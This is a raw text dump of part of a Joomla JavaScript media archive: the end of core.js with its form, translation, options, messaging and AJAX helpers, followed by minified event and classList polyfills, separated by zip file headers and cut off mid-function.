			form.removeAttribute('novalidate');
		}

		// Submit the form.
		// Create the input type="submit"
		var button = document.createElement('input');
		button.style.display = 'none';
		button.type = 'submit';

		// Append it and click it
		form.appendChild(button).click();

		// If "submit" was prevented, make sure we don't get a build up of buttons
		form.removeChild(button);
	};

	/**
	 * Default function. Can be overriden by the component to add custom logic
	 *
	 * @param  {bool}  task  The given task
	 *
	 * @returns {void}
	 */
	Joomla.submitbutton = function( pressbutton ) {
		Joomla.submitform( pressbutton );
	};

	/**
	 * Custom behavior for JavaScript I18N
	 *
	 * @type {{}}
	 *
	 * Allows you to call Joomla.Text._() to get a translated JavaScript string pushed in with Text::script() in Joomla.
	 */
	Joomla.Text = {
		strings:   {},

		/**
		 * Translates a string into the current language.
		 *
		 * @param {String} key   The string to translate
		 * @param {String} def   Default string
		 *
		 * @returns {String}
		 */
		'_': function( key, def ) {

			// Check for new strings in the optionsStorage, and load them
			var newStrings = Joomla.getOptions('joomla.jtext');
			if ( newStrings ) {
				this.load(newStrings);

				// Clean up the optionsStorage from useless data
				Joomla.loadOptions({'joomla.jtext': null});
			}

			def = def === undefined ? '' : def;
			key = key.toUpperCase();

			return this.strings[ key ] !== undefined ? this.strings[ key ] : def;
		},

		/**
		 * Load new strings in to Joomla.JText
		 *
		 * @param {Object} object  Object with new strings
		 * @returns {Joomla.JText}
		 */
		load: function( object ) {
			for ( var key in object ) {
				if (!object.hasOwnProperty(key)) continue;
				this.strings[ key.toUpperCase() ] = object[ key ];
			}

			return this;
		}
	};

	/**
	 * Proxy old Joomla.JText to Joomla.Text
	 *
	 * @deprecated 5.0 Use Joomla.Text
	 */
	Joomla.JText = Joomla.Text;

	/**
	 * Joomla options storage
	 *
	 * @type {{}}
	 *
	 * @since 3.7.0
	 */
	Joomla.optionsStorage = Joomla.optionsStorage || null;

	/**
	 * Get script(s) options
	 *
	 * @param  {String}  key  Name in Storage
	 * @param  {mixed}   def  Default value if nothing found
	 *
	 * @return {mixed}
	 *
	 * @since 3.7.0
	 */
	Joomla.getOptions = function( key, def ) {
		// Load options if they not exists
		if (!Joomla.optionsStorage) {
			Joomla.loadOptions();
		}

		return Joomla.optionsStorage[key] !== undefined ? Joomla.optionsStorage[key] : def;
	};

	/**
	 * Load new options from given options object or from Element
	 *
	 * @param  {Object|undefined}  options  The options object to load. Eg {"com_foobar" : {"option1": 1, "option2": 2}}
	 *
	 * @since 3.7.0
	 */
	Joomla.loadOptions = function( options ) {
		// Load form the script container
		if (!options) {
			var elements = document.querySelectorAll('.joomla-script-options.new'),
			    str, element, option, counter = 0;

			for (var i = 0, l = elements.length; i < l; i++) {
				element = elements[i];
				str     = element.text || element.textContent;
				option  = JSON.parse(str);

				if (option) {
					Joomla.loadOptions(option);
					counter++;
				}

				element.className = element.className.replace(' new', ' loaded');
			}

			if (counter) {
				return;
			}
		}

		// Initial loading
		if (!Joomla.optionsStorage) {
			Joomla.optionsStorage = options || {};
		}
		// Merge with existing
		else if ( options ) {
			for (var p in options) {
				if (options.hasOwnProperty(p)) {
					Joomla.optionsStorage[p] = options[p];
				}
			}
		}
	};

	/**
	 * Method to replace all request tokens on the page with a new one.
	 *
	 * @param {String}  newToken  The token
	 *
	 * Used in Joomla Installation
	 */
	Joomla.replaceTokens = function( newToken ) {
		if (!/^[0-9A-F]{32}$/i.test(newToken)) { return; }

		var els = document.getElementsByTagName( 'input' ),
		    i, el, n;

		for ( i = 0, n = els.length; i < n; i++ ) {
			el = els[i];

			if ( el.type == 'hidden' && el.value == '1' && el.name.length == 32 ) {
				el.name = newToken;
			}
		}
	};

	/**
	 * USED IN: administrator/components/com_banners/views/client/tmpl/default.php
	 * Actually, probably not used anywhere. Can we deprecate in favor of <input type="email">?
	 *
	 * Verifies if the string is in a valid email format
	 *
	 * @param  {string}  text  The text for validation
	 *
	 * @return {boolean}
	 *
	 * @deprecated  4.0 No replacement. Use formvalidator
	 */
	Joomla.isEmail = function( text ) {
		console.warn('Joomla.isEmail() is deprecated, use the formvalidator instead');

		var regex = /^[\w.!#$%&’*+\/=?^`{|}~-]+@[a-z0-9-]+(?:\.[a-z0-9-]{2,})+$/i;
		return regex.test( text );
	};

	/**
	 * USED IN: all list forms.
	 *
	 * Toggles the check state of a group of boxes
	 *
	 * Checkboxes must have an id attribute in the form cb0, cb1...
	 *
	 * @param   {mixed}   checkbox  The number of box to 'check', for a checkbox element
	 * @param   {string}  stub      An alternative field name
	 *
	 * @return  {boolean}
	 */
	Joomla.checkAll = function( checkbox, stub ) {
		if (!checkbox.form) return false;

		stub = stub ? stub : 'cb';

		var c = 0,
		    i, e, n;

		for ( i = 0, n = checkbox.form.elements.length; i < n; i++ ) {
			e = checkbox.form.elements[ i ];

			if ( e.type == checkbox.type && e.id.indexOf( stub ) === 0 ) {
				e.checked = checkbox.checked;
				c += e.checked ? 1 : 0;
			}
		}

		if ( checkbox.form.boxchecked ) {
			checkbox.form.boxchecked.value = c;
		}

		return true;
	};

	/**
	 * Render messages send via JSON
	 * Used by some javascripts such as validate.js
	 * PLEASE NOTE: do NOT use user supplied input in messages as potential HTML markup is NOT sanitized!
	 *
	 * @param   {object}  messages    JavaScript object containing the messages to render. Example:
	 *                              var messages = {
	 *                                  "message": ["Message one", "Message two"],
	 *                                  "error": ["Error one", "Error two"]
	 *                              };
	 * @return  {void}
	 */
	Joomla.renderMessages = function( messages ) {
		Joomla.removeMessages();

		var messageContainer = document.getElementById( 'system-message-container' ),
		    type, typeMessages, messagesBox, title, titleWrapper, i, messageWrapper, alertClass;

		for ( type in messages ) {
			if ( !messages.hasOwnProperty( type ) ) { continue; }
			// Array of messages of this type
			typeMessages = messages[ type ];

			// Create the alert box
			messagesBox = document.createElement( 'div' );

			// Message class
			alertClass = (type === 'notice') ? 'alert-info' : 'alert-' + type;
			alertClass = (type === 'message') ? 'alert-success' : alertClass;
			alertClass = (type === 'error') ? 'alert-error alert-danger' : alertClass;

			messagesBox.className = 'alert ' + alertClass;

			// Close button
			var buttonWrapper = document.createElement( 'button' );
			buttonWrapper.setAttribute('type', 'button');
			buttonWrapper.setAttribute('data-dismiss', 'alert');
			buttonWrapper.className = 'close';
			buttonWrapper.innerHTML = '×';
			messagesBox.appendChild( buttonWrapper );

			// Title
			title = Joomla.JText._( type );

			// Skip titles with untranslated strings
			if ( typeof title != 'undefined' ) {
				titleWrapper = document.createElement( 'h4' );
				titleWrapper.className = 'alert-heading';
				titleWrapper.innerHTML = Joomla.JText._( type );
				messagesBox.appendChild( titleWrapper );
			}

			// Add messages to the message box
			for ( i = typeMessages.length - 1; i >= 0; i-- ) {
				messageWrapper = document.createElement( 'div' );
				messageWrapper.innerHTML = typeMessages[ i ];
				messagesBox.appendChild( messageWrapper );
			}

			messageContainer.appendChild( messagesBox );
		}
	};

	/**
	 * Remove messages
	 *
	 * @return  {void}
	 */
	Joomla.removeMessages = function() {
		var messageContainer = document.getElementById( 'system-message-container' );

		// Empty container with a while for Chrome performance issues
		while ( messageContainer.firstChild ) messageContainer.removeChild( messageContainer.firstChild );

		// Fix Chrome bug not updating element height
		messageContainer.style.display = 'none';
		messageContainer.offsetHeight;
		messageContainer.style.display = '';
	};

	/**
	 * Treat AJAX errors.
	 * Used by some javascripts such as sendtestmail.js and permissions.js
	 *
	 * @param   {object}  xhr         XHR object.
	 * @param   {string}  textStatus  Type of error that occurred.
	 * @param   {string}  error       Textual portion of the HTTP status.
	 *
	 * @return  {object}  JavaScript object containing the system error message.
	 *
	 * @since  3.6.0
	 */
	Joomla.ajaxErrorsMessages = function( xhr, textStatus, error ) {
		var msg = {};

		// For jQuery jqXHR
		if (textStatus === 'parsererror')
		{
			// Html entity encode.
			var encodedJson = xhr.responseText.trim();

			var buf = [];
			for (var i = encodedJson.length-1; i >= 0; i--) {
				buf.unshift( [ '&#', encodedJson[i].charCodeAt(), ';' ].join('') );
			}

			encodedJson = buf.join('');

			msg.error = [ Joomla.JText._('JLIB_JS_AJAX_ERROR_PARSE').replace('%s', encodedJson) ];
		}
		else if (textStatus === 'nocontent')
		{
			msg.error = [ Joomla.JText._('JLIB_JS_AJAX_ERROR_NO_CONTENT') ];
		}
		else if (textStatus === 'timeout')
		{
			msg.error = [ Joomla.JText._('JLIB_JS_AJAX_ERROR_TIMEOUT') ];
		}
		else if (textStatus === 'abort')
		{
			msg.error = [ Joomla.JText._('JLIB_JS_AJAX_ERROR_CONNECTION_ABORT') ];
		}
		// For vannila XHR
		else if (xhr.responseJSON && xhr.responseJSON.message)
		{
			msg.error = [ Joomla.JText._('JLIB_JS_AJAX_ERROR_OTHER').replace('%s', xhr.status) + ' <em>' + xhr.responseJSON.message + '</em>' ];
		}
		else if (xhr.statusText)
		{
			msg.error = [ Joomla.JText._('JLIB_JS_AJAX_ERROR_OTHER').replace('%s', xhr.status) + ' <em>' + xhr.statusText + '</em>' ];
		}
		else
		{
			msg.error = [ Joomla.JText._('JLIB_JS_AJAX_ERROR_OTHER').replace('%s', xhr.status) ];
		}

		return msg;
	};

	/**
	 * USED IN: administrator/components/com_cache/views/cache/tmpl/default.php
	 * administrator/components/com_installer/views/discover/tmpl/default_item.php
	 * administrator/components/com_installer/views/update/tmpl/default_item.php
	 * administrator/components/com_languages/helpers/html/languages.php
	 * libraries/joomla/html/html/grid.php
	 *
	 * @param  {boolean}  isitchecked  Flag for checked
	 * @param  {node}     form         The form
	 *
	 * @return  {void}
	 */
	Joomla.isChecked = function( isitchecked, form ) {
		if ( typeof form  === 'undefined' ) {
			form = document.getElementById( 'adminForm' );
		}

		form.boxchecked.value = isitchecked ? parseInt(form.boxchecked.value) + 1 : parseInt(form.boxchecked.value) - 1;

		// If we don't have a checkall-toggle, done.
		if ( !form.elements[ 'checkall-toggle' ] ) return;

		// Toggle main toggle checkbox depending on checkbox selection
		var c = true, i, e, n;

		for ( i = 0, n = form.elements.length; i < n; i++ ) {
			e = form.elements[ i ];

			if ( e.type == 'checkbox' && e.name != 'checkall-toggle' && !e.checked ) {
				c = false;
				break;
			}
		}

		form.elements[ 'checkall-toggle' ].checked = c;
	};

	/**
	 * USED IN: libraries/joomla/html/toolbar/button/help.php
	 *
	 * Pops up a new window in the middle of the screen
	 *
	 * @note  This will be moved out of core.js into a new file toolbar.js in Joomla 4
	 */
	Joomla.popupWindow = function( mypage, myname, w, h, scroll ) {
		var winl = ( screen.width - w ) / 2,
		    wint = ( screen.height - h ) / 2,
		    winprops = 'height=' + h +
			    ',width=' + w +
			    ',top=' + wint +
			    ',left=' + winl +
			    ',scrollbars=' + scroll +
			    ',resizable';

		window.open( mypage, myname, winprops )
			.window.focus();
	};

	/**
	 * USED IN: libraries/joomla/html/html/grid.php
	 * In other words, on any reorderable table
	 *
	 * @param  {string}  order  The order value
	 * @param  {string}  dir    The direction
	 * @param  {string}  task   The task
	 * @param  {node}    form   The form
	 *
	 * return  {void}
	 */
	Joomla.tableOrdering = function( order, dir, task, form ) {
		if ( typeof form  === 'undefined' ) {
			form = document.getElementById( 'adminForm' );
		}

		form.filter_order.value = order;
		form.filter_order_Dir.value = dir;
		Joomla.submitform( task, form );
	};

	/**
	 * USED IN: administrator/components/com_modules/views/module/tmpl/default.php
	 *
	 * Writes a dynamically generated list
	 *
	 * @param string
	 *          The parameters to insert into the <select> tag
	 * @param array
	 *          A javascript array of list options in the form [key,value,text]
	 * @param string
	 *          The key to display for the initial state of the list
	 * @param string
	 *          The original key that was selected
	 * @param string
	 *          The original item value that was selected
	 * @param string
	 *          The elem where the list will be written
	 *
	 * @deprecated  4.0 No replacement
	 */
	window.writeDynaList = function ( selectParams, source, key, orig_key, orig_val, element ) {
		console.warn('window.writeDynaList() is deprecated without a replacement!');

		var select = document.createElement('select');
		var params = selectParams.split(' ');

		for (var l = 0; l < params.length; l++) {
			var par = params[l].split('=');

			// make sure the attribute / content can not be used for scripting
			if (par[0].trim().substr(0, 2).toLowerCase() === "on"
				|| par[0].trim().toLowerCase() === "href") {
				continue;
			}

			select.setAttribute(par[0], par[1].replace(/\"/g, ''));
		}

		var hasSelection = key == orig_key, i, selected, item;

		for (i = 0; i < source.length; i++) {
			item = source[i];

			if (item[0] != key) { continue; }

			selected = hasSelection ? orig_val == item[1] : i === 0;

			var el = document.createElement('option');
			el.setAttribute('value', item[1]);
			el.innerText = item[2];

			if (selected) {
				el.setAttribute('selected', 'selected');
			}

			select.appendChild(el);
		}

		if (element) {
			element.appendChild(select);
		} else {
			document.body.appendChild(select);
		}
	};

	/**
	 * USED IN: administrator/components/com_content/views/article/view.html.php
	 * actually, probably not used anywhere.
	 *
	 * Changes a dynamically generated list
	 *
	 * @param string
	 *          The name of the list to change
	 * @param array
	 *          A javascript array of list options in the form [key,value,text]
	 * @param string
	 *          The key to display
	 * @param string
	 *          The original key that was selected
	 * @param string
	 *          The original item value that was selected
	 *
	 * @deprecated  4.0 No replacement
	 */
	window.changeDynaList = function ( listname, source, key, orig_key, orig_val ) {
		console.warn('window.changeDynaList() is deprecated without a replacement!');

		var list = document.adminForm[ listname ],
		    hasSelection = key == orig_key,
		    i, x, item, opt;

		// empty the list
		while ( list.firstChild ) list.removeChild( list.firstChild );

		i = 0;

		for ( x in source ) {
			if (!source.hasOwnProperty(x)) { continue; }

			item = source[x];

			if ( item[ 0 ] != key ) { continue; }

			opt = new Option();
			opt.value = item[ 1 ];
			opt.text = item[ 2 ];

			if ( ( hasSelection && orig_val == opt.value ) || (!hasSelection && i === 0) ) {
				opt.selected = true;
			}

			list.options[ i++ ] = opt;
		}

		list.length = i;
	};

	/**
	 * USED IN: administrator/components/com_menus/views/menus/tmpl/default.php
	 * Probably not used at all
	 *
	 * @param radioObj
	 * @return
	 *
	 * @deprecated  4.0 No replacement
	 */
	// return the value of the radio button that is checked
	// return an empty string if none are checked, or
	// there are no radio buttons
	window.radioGetCheckedValue = function ( radioObj ) {
		console.warn('window.radioGetCheckedValue() is deprecated without a replacement!');

		if ( !radioObj ) { return ''; }

		var n = radioObj.length,
		    i;

		if ( n === undefined ) {
			return radioObj.checked ? radioObj.value : '';
		}

		for ( i = 0; i < n; i++ ) {
			if ( radioObj[ i ].checked ) {
				return radioObj[ i ].value;
			}
		}

		return '';
	};

	/**
	 * USED IN: administrator/components/com_users/views/mail/tmpl/default.php
	 * Let's get rid of this and kill it
	 *
	 * @param frmName
	 * @param srcListName
	 * @return
	 *
	 * @deprecated  4.0 No replacement
	 */
	window.getSelectedValue = function ( frmName, srcListName ) {
		console.warn('window.getSelectedValue() is deprecated without a replacement!');

		var srcList = document[ frmName ][ srcListName ],
		    i = srcList.selectedIndex;

		if ( i !== null && i > -1 ) {
			return srcList.options[ i ].value;
		} else {
			return null;
		}
	};

	/**
	 * USED IN: all over :)
	 *
	 * @param id
	 * @param task
	 * @return
	 *
	 * @deprecated 4.0  Use Joomla.listItemTask() instead
	 */
	window.listItemTask = function ( id, task ) {
		console.warn('window.listItemTask() is deprecated use Joomla.listItemTask() instead');

		return Joomla.listItemTask( id, task );
	};

	/**
	 * USED IN: all over :)
	 *
	 * @param  {string}  id    The id
	 * @param  {string}  task  The task
	 *
	 * @return {boolean}
	 */
	Joomla.listItemTask = function ( id, task ) {
		var f = document.adminForm,
		    i = 0, cbx,
		    cb = f[ id ];

		if ( !cb ) return false;

		while ( true ) {
			cbx = f[ 'cb' + i ];

			if ( !cbx ) break;

			cbx.checked = false;

			i++;
		}

		cb.checked = true;
		f.boxchecked.value = 1;
		window.submitform( task );

		return false;
	};

	/**
	 * Default function. Usually would be overriden by the component
	 *
	 * @deprecated 4.0  Use Joomla.submitbutton() instead.
	 */
	window.submitbutton = function ( pressbutton ) {
		console.warn('window.submitbutton() is deprecated use Joomla.submitbutton() instead');

		Joomla.submitbutton( pressbutton );
	};

	/**
	 * Submit the admin form
	 *
	 * @deprecated 4.0  Use Joomla.submitform() instead.
	 */
	window.submitform = function ( pressbutton ) {
		console.warn('window.submitform() is deprecated use Joomla.submitform() instead');

		Joomla.submitform(pressbutton);
	};

	// needed for Table Column ordering
	/**
	 * USED IN: libraries/joomla/html/html/grid.php
	 * There's a better way to do this now, can we try to kill it?
	 *
	 * @deprecated 4.0  No replacement
	 */
	window.saveorder = function ( n, task ) {
		console.warn('window.saveorder() is deprecated without a replacement!');

		window.checkAll_button( n, task );
	};

	/**
	 * Checks all the boxes unless one is missing then it assumes it's checked out.
	 * Weird. Probably only used by ^saveorder
	 *
	 * @param   integer  n     The total number of checkboxes expected
	 * @param   string   task  The task to perform
	 *
	 * @return  void
	 *
	 * @deprecated 4.0  No replacement
	 */
	window.checkAll_button = function ( n, task ) {
		console.warn('window.checkAll_button() is deprecated without a replacement!');

		task = task ? task : 'saveorder';

		var j, box;

		for ( j = 0; j <= n; j++ ) {
			box = document.adminForm[ 'cb' + j ];

			if ( box ) {
				box.checked = true;
			} else {
				alert( "You cannot change the order of items, as an item in the list is `Checked Out`" );
				return;
			}
		}

		Joomla.submitform( task );
	};

	/**
	 * Add Joomla! loading image layer.
	 *
	 * Used in: /administrator/components/com_installer/views/languages/tmpl/default.php
	 *          /installation/template/js/installation.js
	 *
	 * @param   {String}       task           The task to do [load, show, hide] (defaults to show).
	 * @param   {HTMLElement}  parentElement  The HTML element where we are appending the layer (defaults to body).
	 *
	 * @return  {HTMLElement}  The HTML loading layer element.
	 *
	 * @since  3.6.0
	 *
	 * @deprecated  4.0 No direct replacement.
	 *              4.0 will introduce a web component for the loading spinner, therefore the spinner will need to
	 *              explicitly be loaded in all relevant pages.
	 */
	Joomla.loadingLayer = function(task, parentElement) {
		// Set default values.
		task          = task || 'show';
		parentElement = parentElement || document.body;

		// Create the loading layer (hidden by default).
		if (task === 'load')
		{
			// Gets the site base path
			var systemPaths = Joomla.getOptions('system.paths') || {},
			    basePath    = systemPaths.root || '';

			var loadingDiv = document.createElement('div');

			loadingDiv.id = 'loading-logo';

			// The loading layer CSS styles are JS hardcoded so they can be used without adding CSS.

			// Loading layer style and positioning.
			loadingDiv.style['position']              = 'fixed';
			loadingDiv.style['top']                   = '0';
			loadingDiv.style['left']                  = '0';
			loadingDiv.style['width']                 = '100%';
			loadingDiv.style['height']                = '100%';
			loadingDiv.style['opacity']               = '0.8';
			loadingDiv.style['filter']                = 'alpha(opacity=80)';
			loadingDiv.style['overflow']              = 'hidden';
			loadingDiv.style['z-index']               = '10000';
			loadingDiv.style['display']               = 'none';
			loadingDiv.style['background-color']      = '#fff';

			// Loading logo positioning.
			loadingDiv.style['background-image']      = 'url("' + basePath + '/media/jui/images/ajax-loader.gif")';
			loadingDiv.style['background-position']   = 'center';
			loadingDiv.style['background-repeat']     = 'no-repeat';
			loadingDiv.style['background-attachment'] = 'fixed';

			parentElement.appendChild(loadingDiv);
		}
		// Show or hide the layer.
		else
		{
			if (!document.getElementById('loading-logo'))
			{
				Joomla.loadingLayer('load', parentElement);
			}

			document.getElementById('loading-logo').style['display'] = (task == 'show') ? 'block' : 'none';
		}

		return document.getElementById('loading-logo');
	};

	/**
	 * Method to Extend Objects
	 *
	 * @param  {Object}  destination
	 * @param  {Object}  source
	 *
	 * @return Object
	 */
	Joomla.extend = function (destination, source) {
		for (var p in source) {
			if (source.hasOwnProperty(p)) {
				destination[p] = source[p];
			}
		}

		return destination;
	};

	/**
	 * Method to perform AJAX request
	 *
	 * @param {Object} options   Request options:
	 * {
	 *    url:       'index.php',  // Request URL
	 *    method:    'GET',        // Request method GET (default), POST
	 *    data:      null,         // Data to be sent, see https://developer.mozilla.org/docs/Web/API/XMLHttpRequest/send
	 *    perform:   true,         // Perform the request immediately, or return XMLHttpRequest instance and perform it later
	 *    headers:   null,         // Object of custom headers, eg {'X-Foo': 'Bar', 'X-Bar': 'Foo'}
	 *
	 *    onBefore:  function(xhr){}            // Callback on before the request
	 *    onSuccess: function(response, xhr){}, // Callback on the request success
	 *    onError:   function(xhr){},           // Callback on the request error
	 * }
	 *
	 * @return XMLHttpRequest|Boolean
	 *
	 * @example
	 *
	 * 	Joomla.request({
	 *		url: 'index.php?option=com_example&view=example',
	 *		onSuccess: function(response, xhr){
	 *			console.log(response);
	 *		}
	 * 	})
	 *
	 * @see    https://developer.mozilla.org/docs/Web/API/XMLHttpRequest
	 */
	Joomla.request = function (options) {

		// Prepare the options
		options = Joomla.extend({
			url:    '',
			method: 'GET',
			data:    null,
			perform: true
		}, options);

		// Use POST for send the data
		options.method = options.data ? 'POST' : options.method.toUpperCase();

		// Set up XMLHttpRequest instance
		try{
			var xhr = window.XMLHttpRequest ? new XMLHttpRequest() : new ActiveXObject('MSXML2.XMLHTTP.3.0');

			xhr.open(options.method, options.url, true);

			// Set the headers
			xhr.setRequestHeader('X-Requested-With', 'XMLHttpRequest');
			xhr.setRequestHeader('X-Ajax-Engine', 'Joomla!');

			if (options.method === 'POST') {
				var token = Joomla.getOptions('csrf.token', '');

				if (token) {
					xhr.setRequestHeader('X-CSRF-Token', token);
				}

				if (typeof(options.data) === 'string' && (!options.headers || !options.headers['Content-Type'])) {
					xhr.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');
				}
			}

			// Custom headers
			if (options.headers){
				for (var p in options.headers) {
					if (options.headers.hasOwnProperty(p)) {
						xhr.setRequestHeader(p, options.headers[p]);
					}
				}
			}

			xhr.onreadystatechange = function () {
				// Request not finished
				if (xhr.readyState !== 4) return;

				// Request finished and response is ready
				if (xhr.status === 200) {
					if(options.onSuccess) {
						options.onSuccess.call(window, xhr.responseText, xhr);
					}
				} else if(options.onError) {
					options.onError.call(window, xhr);
				}
			};

			// Do request
			if (options.perform) {
				if (options.onBefore && options.onBefore.call(window, xhr) === false) {
					// Request interrupted
					return xhr;
				}

				xhr.send(options.data);
			}

		} catch (error) {
			window.console ? console.log(error) : null;
			return false;
		}

		return xhr;
	};

}( Joomla, document ));
PK!KQ��FFjs/polyfill.event.jsnu�[���(function(e){"Window"in this||!function(e){e.constructor?e.Window=e.constructor:(e.Window=e.constructor=new Function("return function Window() {}")()).prototype=this}(this),"Document"in this||(this.HTMLDocument?this.Document=this.HTMLDocument:(this.Document=this.HTMLDocument=document.constructor=new Function("return function Document() {}")(),this.Document.prototype=document)),"Element"in this&&"HTMLElement"in this||!function(){function e(){return s--||clearTimeout(t),document.body&&!document.body.prototype&&/(complete|interactive)/.test(document.readyState)?(a(document,!0),t&&document.body.prototype&&clearTimeout(t),!!document.body.prototype):!1}if(window.Element&&!window.HTMLElement)return void(window.HTMLElement=window.Element);window.Element=window.HTMLElement=new Function("return function Element() {}")();var t,n=document.appendChild(document.createElement("body")),o=n.appendChild(document.createElement("iframe")),r=o.contentWindow.document,i=Element.prototype=r.appendChild(r.createElement("*")),c={},a=function(e,t){var n,o,r,i=e.childNodes||[],u=-1;if(1===e.nodeType&&e.constructor!==Element){e.constructor=Element;for(n in c)o=c[n],e[n]=o}for(;r=t&&i[++u];)a(r,t);return e},u=document.getElementsByTagName("*"),l=document.createElement,s=100;i.attachEvent("onpropertychange",function(e){for(var t,n=e.propertyName,o=!c.hasOwnProperty(n),r=i[n],a=c[n],l=-1;t=u[++l];)1===t.nodeType&&(o||t[n]===a)&&(t[n]=r);c[n]=r}),i.constructor=Element,i.hasAttribute||(i.hasAttribute=function(e){return null!==this.getAttribute(e)}),e(!0)||(document.onreadystatechange=e,t=setInterval(e,25)),document.createElement=function(e){var t=l(String(e).toLowerCase());return a(t)},document.removeChild(n)}(),"defineProperty"in Object&&function(){try{var e={};return Object.defineProperty(e,"test",{value:42}),!0}catch(t){return!1}}()||!function(e){var t=Object.prototype.hasOwnProperty("__defineGetter__"),n="Getters & setters cannot be defined on this javascript engine",o="A property cannot both have accessors and be writable or have a value";Object.defineProperty=function(r,i,c){if(e&&(r===window||r===document||r===Element.prototype||r instanceof Element))return e(r,i,c);if(null===r||!(r instanceof Object||"object"==typeof r))throw new TypeError("Object must be an object (Object.defineProperty polyfill)");if(!(c instanceof Object))throw new TypeError("Descriptor must be an object (Object.defineProperty polyfill)");var a=String(i),u="value"in c||"writable"in c,l="get"in c&&typeof c.get,s="set"in c&&typeof c.set;if(l){if("function"!==l)throw new TypeError("Getter expected a function (Object.defineProperty polyfill)");if(!t)throw new TypeError(n);if(u)throw new TypeError(o);r.__defineGetter__(a,c.get)}else r[a]=c.value;if(s){if("function"!==s)throw new TypeError("Setter expected a function (Object.defineProperty polyfill)");if(!t)throw new TypeError(n);if(u)throw new TypeError(o);r.__defineSetter__(a,c.set)}return"value"in c&&(r[a]=c.value),r}}(Object.defineProperty),function(e){if(!("Event"in e))return!1;if("function"==typeof e.Event)return!0;try{return new Event("click"),!0}catch(t){return!1}}(this)||!function(){function t(e,t){for(var n=-1,o=e.length;++n<o;)if(n in e&&e[n]===t)return n;return-1}var n={click:1,dblclick:1,keyup:1,keypress:1,keydown:1,mousedown:1,mouseup:1,mousemove:1,mouseover:1,mouseenter:1,mouseleave:1,mouseout:1,storage:1,storagecommit:1,textinput:1},o=window.Event&&window.Event.prototype||null;window.Event=Window.prototype.Event=function(t,n){if(!t)throw new Error("Not enough arguments");if("createEvent"in document){var o=document.createEvent("Event"),r=n&&n.bubbles!==e?n.bubbles:!1,i=n&&n.cancelable!==e?n.cancelable:!1;return o.initEvent(t,r,i),o}var o=document.createEventObject();return o.type=t,o.bubbles=n&&n.bubbles!==e?n.bubbles:!1,o.cancelable=n&&n.cancelable!==e?n.cancelable:!1,o},o&&Object.defineProperty(window.Event,"prototype",{configurable:!1,enumerable:!1,writable:!0,value:o}),"createEvent"in document||(window.addEventListener=Window.prototype.addEventListener=Document.prototype.addEventListener=Element.prototype.addEventListener=function(){var e=this,o=arguments[0],r=arguments[1];if(e===window&&o in n)throw new Error("In IE8 the event: "+o+" is not available on the window object. Please see https://github.com/Financial-Times/polyfill-service/issues/317 for more information.");e._events||(e._events={}),e._events[o]||(e._events[o]=function(n){var o,r=e._events[n.type].list,i=r.slice(),c=-1,a=i.length;for(n.preventDefault=function(){n.cancelable!==!1&&(n.returnValue=!1)},n.stopPropagation=function(){n.cancelBubble=!0},n.stopImmediatePropagation=function(){n.cancelBubble=!0,n.cancelImmediate=!0},n.currentTarget=e,n.relatedTarget=n.fromElement||null,n.target=n.target||n.srcElement||e,n.timeStamp=(new Date).getTime(),n.clientX&&(n.pageX=n.clientX+document.documentElement.scrollLeft,n.pageY=n.clientY+document.documentElement.scrollTop);++c<a&&!n.cancelImmediate;)c in i&&(o=i[c],-1!==t(r,o)&&"function"==typeof o&&o.call(e,n))},e._events[o].list=[],e.attachEvent&&e.attachEvent("on"+o,e._events[o])),e._events[o].list.push(r)},window.removeEventListener=Window.prototype.removeEventListener=Document.prototype.removeEventListener=Element.prototype.removeEventListener=function(){var e,n=this,o=arguments[0],r=arguments[1];n._events&&n._events[o]&&n._events[o].list&&(e=t(n._events[o].list,r),-1!==e&&(n._events[o].list.splice(e,1),n._events[o].list.length||(n.detachEvent&&n.detachEvent("on"+o,n._events[o]),delete n._events[o])))},window.dispatchEvent=Window.prototype.dispatchEvent=Document.prototype.dispatchEvent=Element.prototype.dispatchEvent=function(e){if(!arguments.length)throw new Error("Not enough arguments");if(!e||"string"!=typeof e.type)throw new Error("DOM Events Exception 0");var t=this,n=e.type;try{if(!e.bubbles){e.cancelBubble=!0;var o=function(e){e.cancelBubble=!0,(t||window).detachEvent("on"+n,o)};this.attachEvent("on"+n,o)}this.fireEvent("on"+n,e)}catch(r){e.target=t;do e.currentTarget=t,"_events"in t&&"function"==typeof t._events[n]&&t._events[n].call(t,e),"function"==typeof t["on"+n]&&t["on"+n].call(t,e),t=9===t.nodeType?t.parentWindow:t.parentNode;while(t&&!e.cancelBubble)}return!0},document.attachEvent("onreadystatechange",function(){"complete"===document.readyState&&document.dispatchEvent(new Event("DOMContentLoaded",{bubbles:!0}))}))}()}).call("object"==typeof window&&window||"object"==typeof self&&self||"object"==typeof global&&global||{});
PK!��g��js/polyfill.classlist.jsnu�[���(function(){"defineProperty"in Object&&function(){try{var t={};return Object.defineProperty(t,"test",{value:42}),!0}catch(e){return!1}}()||!function(t){var e=Object.prototype.hasOwnProperty("__defineGetter__"),n="Getters & setters cannot be defined on this javascript engine",o="A property cannot both have accessors and be writable or have a value";Object.defineProperty=function(r,i,c){if(t&&(r===window||r===document||r===Element.prototype||r instanceof Element))return t(r,i,c);if(null===r||!(r instanceof Object||"object"==typeof r))throw new TypeError("Object must be an object (Object.defineProperty polyfill)");if(!(c instanceof Object))throw new TypeError("Descriptor must be an object (Object.defineProperty polyfill)");var a=String(i),u="value"in c||"writable"in c,p="get"in c&&typeof c.get,l="set"in c&&typeof c.set;if(p){if("function"!==p)throw new TypeError("Getter expected a function (Object.defineProperty polyfill)");if(!e)throw new TypeError(n);if(u)throw new TypeError(o);r.__defineGetter__(a,c.get)}else r[a]=c.value;if(l){if("function"!==l)throw new TypeError("Setter expected a function (Object.defineProperty polyfill)");if(!e)throw new TypeError(n);if(u)throw new TypeError(o);r.__defineSetter__(a,c.set)}return"value"in c&&(r[a]=c.value),r}}(Object.defineProperty);var t=function(){function t(t){if(/^-?[_a-zA-Z]+[_a-zA-Z0-9-]*$/.test(t))return String(t);throw new Error("InvalidCharacterError: DOM Exception 5")}function e(t){for(var e,n=-1,o={};e=t[++n];)o[e]=!0;return o}function n(t,e){var n,o=[];for(n in e)e[n]&&o.push(n);[].splice.apply(t,[0,t.length].concat(o))}var o=function(){};return o.prototype={constructor:o,item:function(t){return this[parseFloat(t)]||null},length:Array.prototype.length,toString:function(){return[].join.call(this," ")},add:function(){for(var o,r=e(this),i=0;i in arguments;++i)o=t(arguments[i]),r[o]=!0;n(this,r)},contains:function(t){return t in e(this)},remove:function(){for(var o,r=e(this),i=0;i in arguments;++i)o=t(arguments[i]),r[o]=!1;n(this,r)},toggle:function(o){var 